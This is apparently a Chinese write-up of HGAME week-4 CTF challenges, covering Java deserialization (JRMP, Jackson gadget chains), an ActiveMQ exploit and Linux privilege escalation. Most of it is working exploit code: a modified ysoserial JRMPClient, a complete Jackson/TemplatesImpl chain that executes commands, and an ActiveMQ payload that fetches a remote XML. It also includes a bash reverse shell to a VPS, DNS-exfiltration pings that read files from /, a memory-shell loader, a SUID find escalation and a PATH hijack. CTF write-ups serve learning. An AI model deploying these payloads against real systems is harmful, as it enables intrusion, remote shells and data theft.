HGAME-week4
HGAME-Week4
前言
web 4/6 还可以,不错,但另一道题看那么多人解出来,是不是很简单啊?
i-short-you-1(三血
提示:JRMP
网上搜jrmp反序列化,找到文章,其实看不懂,但看到这个
我就知道就是这里了
这里我们使用exploit/JRMPListener+payloads/JRMPClient(服务端打客户端类型)
受害机反序列化该payload时会向指定的攻击机ip+端口发起RMI通信,在通信阶段攻击机会将第二次反序列化的payload(如CommonCollections1)发送给受害机
于是我们要修改yso的代码
把payloads/JRMPClient的代码改出来,写为我们的ip
String command = "vps:1099";
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(0); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
原来的代码中用到了动态代理,但是太长了,于是删掉
这里很巧的是我的vps的ip正好220,unknown师傅的vps的ip就超了(哈哈
比较难的是改exploit/JRMPListener
这里我们直接找writeObject的地方
我们找一下payload是什么
会发现是工具中要传入的参数
这里我们直接把它改为new Object
然后BadAttri…那里改为我们jackson的链子即可
但这里准备好后就有一个问题,如何部署环境
即使把他的class文件上传上去后执行,也会有找不到包的错误
这里问了下unknown师傅,他提供了一个方法,端口转发(这就是计网吗,太强了
利用frp把vps上的某端口的流量转到本地的端口
公网的跑frps
[common]
bind_port = 7000
本地跑frpc
[common]
server_addr = vps_ip
server_port = 7000
[JRMP]
type = tcp
local_ip = 127.0.0.1
local_port = 1099
remote_port = 1099
然后启动exploit/JRMPListener
接着把payloads/JRMPClient
生成的base64传入题目
这样即可反弹shell
i-short-you-2(一血
不出网,限制长度
public Object hack(@RequestParam String payload) {
// real long
if (payload.length() > 3333) {
return "hacker!!!";
}
byte[] bytes = Base64.getDecoder().decode(payload);
try {
new ObjectInputStream(new ByteArrayInputStream(bytes)).readObject();
} catch (Exception e) {
e.printStackTrace();
return e;
}
return "success";
}
附件连依赖都没有,只有springboot,那就只能打jackson
正好最近收集了回显小马
但是jackson链子是不稳定的(不稳定不代表不会成功
加上稳定的代码后又会超出长度,没办法了
我的解法
只能刷机爆破了(幸好靶机关了能直接开,嘻嘻
正常会有报错栈(这里是成功执行的情况
经不同小马的尝试
打入我的小马
非预期 ( 也要刷机
不出网,但出DNS,这种情况最近遇到的真多(出题人说是节点网络配置问题,他懒得整
于是他换了flag的名称,防止非预期,但还是被unknown师傅非预期了
同样jackson的链子,但他的马不是回显,而是执行
接下来更细节
ping "$(cat /* 2>/dev/null |cut -c 1-20 | xxd -p).my386n.dnslog.cn"
ping "$(cat /* 2>/dev/null |cut -c 21-50 | xxd -p).my386n.dnslog.cn"
因为ping dns长度有限制
所以先回显前面20字符,再回显后面的字符
xxd -p是转换成16进制
因为花括号不是域名的字符,可能会失败
cat /* 2>/dev/null
这是我没想到的
因为/
有目录,2>/dev/null
能不进行报错,就只输出文件内容
我刚开始的做法也是是命令执行且有回显,但是结果只有一行,列目录看不到flag文件名称,我也试过cat /*
也没结果
现在看来cat /* 2>/dev/null
应该就能解决问题
并且unknown师傅提示我只有一行的话目录可以base64编码一下(woc,太强了
分块传送 (缩短payload的方法,用在这里不合适,毕竟要刷机
在网上找如何缩短payload的文章中,发现有分块传输的方法
本来不想试的,但unknown师傅成功了,我也就跟着他尝试,这就叫前人栽树后人乘凉吗(嘻嘻
不过挺佩服unknown师傅,中间有几个文章中的bug,我遇到了不会弄,但他弄出来了
分块传输的思路就是使用FileOutputStream
写入内存马的文件,然后使用URLClassLoader
进行加载
当然为了使payload尽可能小,所以这些操作还是放在javassist生成的类的空参构造函数中
public static byte[] payload2() throws NotFoundException, CannotCompileException, IOException {
// String s=" public A(){\n" +
// " try {\n" +
// " String path = \"/tmp/a\";\n" +
// " java.io.File file = new java.io.File(path);\n" +
// " java.io.FileOutputStream fos = new java.io.FileOutputStream(path, true);\n" +
// " String data = \"把内存马的class文件base64加密后分开进行传输\";\n" +
// " fos.write(data.getBytes());\n" +
// " fos.close();\n" +
// " } catch (Exception ignore) {\n" +
// " }\n" +
// " }";
// String s = " public A(){\n" +
// " try {\n" +
// " String path=\"/tmp/a\";\n" +
// " java.io.FileInputStream fis = new java.io.FileInputStream(path);\n" +
// " byte[] data = new byte[fis.available()];\n" +
// " fis.read(data);\n" +
// " java.io.FileOutputStream fos = new java.io.FileOutputStream(\"/tmp/InjectToController.class\");\n" +
// " fos.write(java.util.Base64.getDecoder().decode(data));\n" +
// " fos.close();\n" +
// " } catch(Exception ignored){}\n" +
// " }";
String s = " public A(){\n" +
" try {\n" +
" String path = \"file://tmp/\";\n" +
" java.net.URL url = new java.net.URL(path);\n" +
" java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(new java.net.URL[]{url},Thread.currentThread().getContextClassLoader());\n" +
" Class clazz = urlClassLoader.loadClass(\"InjectToController\");\n" +
" clazz.newInstance();\n" +
" } catch (Exception ignored) {\n" +
" }\n" +
" }";
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get(AbstractTranslet.class.getName());
CtClass calc = classPool.makeClass("A");
calc.setSuperclass(ctClass);
CtConstructor ctConstructor = CtNewConstructor.make(s, calc);
calc.addConstructor(ctConstructor);
return calc.toBytecode();
}
网上没有的几个细节 !!!!!
- 内存马的文件不能在包下面,比如我的内存马就是
package jackson;
,在后面URLClassLoader加载时就会报错,java.lang.NoClassDefFoundError: InjectToController (wrong name: jackson/InjectToController)
- base64全部写入后再解密(怕有萌新弄乱,用字节码写入的就不用base64解密了
- URLClassLoader加载时,要加上
Thread.currentThread().getContextClassLoader()
,否则在加载时会出现找不到类的报错ClassNotFound: javax.servlet.Filter
!!!!! - 你内存马原来是什么名字,写入到环境中也要是什么名字,比如我的内存马叫
InjectToController
,在写入后也要叫这个名字,给为其他名字是加载不了的
根据题目限制的长度,对应修改每次写入的base64长度即可
预期解
上面的方法由于不稳定肯定都是要刷机的,所以还是等预期解
jackson稳定后再进行压缩
真不会啊,等WP
太强了,不仅缩短了jackson稳定的代码,还用了一个非常小的马
WOC,神了
import com.alibaba.fastjson.JSONArray;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.ObjectMapper.DefaultTyping;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;
import javax.management.BadAttributeValueExpException;
import javax.swing.event.EventListenerList;
import javax.swing.event.SwingPropertyChangeSupport;
import javax.swing.text.StyledEditorKit;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.net.URI;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.sql.SQLOutput;
import java.util.Base64;
import java.util.HashMap;
import java.util.Scanner;
import java.util.Vector;
public class XString_chain {
public static void main(String[] args) throws Exception {
byte[] bytecodes = payload3();
Templates templatesimpl = new TemplatesImpl();
setValue(templatesimpl,"_name","z");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", null);
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTargetSource(new HotSwappableTargetSource(templatesimpl));
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
setValue(handler,"proxiedInterfaces",null);
Templates proxyObj = (Templates)Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
POJONode jsonNodes = new POJONode(proxyObj);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonNodes);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString(null));
HashMap<Object, Object> objectObjectHashMap = makeMap(h1, h2);
System.out.println(serial(objectObjectHashMap).length());
}
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] payload3() throws CannotCompileException, NotFoundException, IOException {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("a");
CtClass superClass = classPool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
constructor.setBody("throw new Exception(new java.util.Scanner(Runtime.getRuntime().exec(\"执行的命令\").getInputStream()).next());");
ctClass.addConstructor(constructor);
return ctClass.toBytecode();
}
}
官方WP的setValue(templatesimpl,"_name","1ue");
还可以改为一个字符
不过大差不差了
分析
这个马没得说,太强了
我都忘记这个稳定代码是怎么分析出来的了(早知道当时重新看一下了
为什么就不说了,说说如何缩短
这个类似于网上的缩短Rome链,这里我们只需要this.advised
,所以直接把不相关的属性proxiedInterfaces
设置为null
然后可以看到setTarget
还调用了两个函数实际上就是为了返回target
我们可以直接调用setTargetSource
然后传入一个TargetSource
类型的对象即可
这里我们用到HotSwappableTargetSource
可以看到几乎和SingletonTargetSource
一样
就这两处了
其次jackson链子之中,用预期解的HotSwappableTargetSource
和XString
这条链是最短的
我用的也是这个
Reverse and Escalation.
开题目发现两个环境,有点诧异
有一个要登录,尝试admin/admin
成功后发现是ActiveMQ,版本为5.17.3
正好前段时间收集了payload
一把梭哈
ByteArrayOutputStream bos = new ByteArrayOutputStream();
DataOutput dataOutput = new DataOutputStream(bos);
dataOutput.writeInt(0);
dataOutput.writeByte(31);
dataOutput.writeInt(1);
dataOutput.writeBoolean(true);
dataOutput.writeInt(1);
dataOutput.writeBoolean(true);
dataOutput.writeBoolean(true);
dataOutput.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
dataOutput.writeBoolean(true);
dataOutput.writeUTF("http://vps_ip:8000/poc.xml"); //开放端口请求文件
Socket socket = new Socket("139.224.232.162", 31416); //另一个打不开的端口
OutputStream socketOutputStream = socket.getOutputStream();
socketOutputStream.write(bos.toByteArray());
socketOutputStream.close();
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/vps_ip/port 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
反弹shell后无权限读/flag
查找suid权限 find / -user root -perm -4000 -print 2>/dev/null
发现find具有suid权限
find / -exec cat /flag \; -quit
Reverse and Escalation.II
一样,一把梭反弹shell后
使用find命令发现多出点东西,于是把他dump下来分析
随机数,但种子在变,一看就是要写脚本(然后就停滞了好久
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
int main(){
unsigned int v3 = time(0LL), v7, v6;
srand(v3);
char cmd[1024];
sprintf(cmd, "/usr/bin/find ");
for (int i = 0; i < 39; ++i ){
v7 = rand() % 23333;
v6 = rand() % 23333;
sprintf(cmd + strlen(cmd), "%d ", v6 + v7);
}
printf("%s\n", cmd);
system(cmd);
}
直接编译的话上传上去执行会显示glibc不存在
问了下Lolita大佬,编译时加上--static
就好了,感谢Lolita大佬帮忙的脚本(我太菜了,写不对,都忘记了
然后能执行到system('ls')
后
有做题经验的能够想到环境变量提权
前提是find命令要有suid权限
ls -al /usr/bin/find
发现确实有suid权限
echo "/bin/bash" > /tmp/ls
chmod 777 /tmp/ls
export PATH=/tmp:$PATH
./pay (curl上传的编译过后的文件,也记得给下执行权限哦)
finally
看下排名,发现有佬AK了WEB,woc真神仙(哦,好像有一题是两个flag,没事,不妨碍人家是大佬
杭电人才辈出啊